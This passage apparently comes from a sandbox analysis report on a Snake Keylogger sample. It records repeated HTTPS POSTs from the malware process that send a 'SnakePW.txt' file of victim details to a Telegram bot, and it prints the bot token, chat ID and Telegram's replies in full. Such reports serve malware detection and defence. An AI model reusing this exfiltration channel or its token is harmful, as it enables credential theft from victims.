2022-06-26 07:34:09 UTC	354	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570a53311c Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:09 UTC	354	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 61 35 33 33 31 31 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570a53311cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:09 UTC	355	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:09 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:09 UTC	355	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 38 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 34 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66984,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228849,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
211	192.168.2.5	50108	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:09 UTC	356	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570a95f6b0 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:09 UTC	356	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 61 39 35 66 36 62 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570a95f6b0Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:09 UTC	357	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:09 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:09 UTC	357	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 38 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 34 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66985,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228849,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
212	192.168.2.5	50112	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:09 UTC	358	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570accc8e1 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:09 UTC	358	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 61 63 63 63 38 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570accc8e1Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:10 UTC	358	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:10 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:10 UTC	359	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 38 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66987,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228850,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
213	192.168.2.5	50114	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:10 UTC	359	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570b0865d5 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:10 UTC	360	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 62 30 38 36 35 64 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570b0865d5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:10 UTC	360	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:10 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:10 UTC	360	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 38 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66988,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228850,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
214	192.168.2.5	50118	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:10 UTC	361	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570b466176 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:10 UTC	361	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 62 34 36 36 31 37 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570b466176Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:10 UTC	362	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:10 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:10 UTC	362	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 38 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66989,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228850,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
215	192.168.2.5	50119	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:10 UTC	363	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570b7ad4f1 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:10 UTC	363	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 62 37 61 64 34 66 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570b7ad4f1Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:11 UTC	363	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:11 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:11 UTC	364	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 39 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66990,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228851,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
216	192.168.2.5	50124	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:12 UTC	364	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570bfdf55c Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:12 UTC	365	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 62 66 64 66 35 35 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570bfdf55cContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:34:12 UTC	365	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:34:12 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:34:12 UTC	365	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 39 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 35 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66992,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228852,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
217	192.168.2.5	50126	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:34:12 UTC	366	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570c5fb674 Host: api.telegram.org Content-Length: 504
2022-06-26 07:34:12 UTC	366	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 63 35 66 62 36 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570c5fb674Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 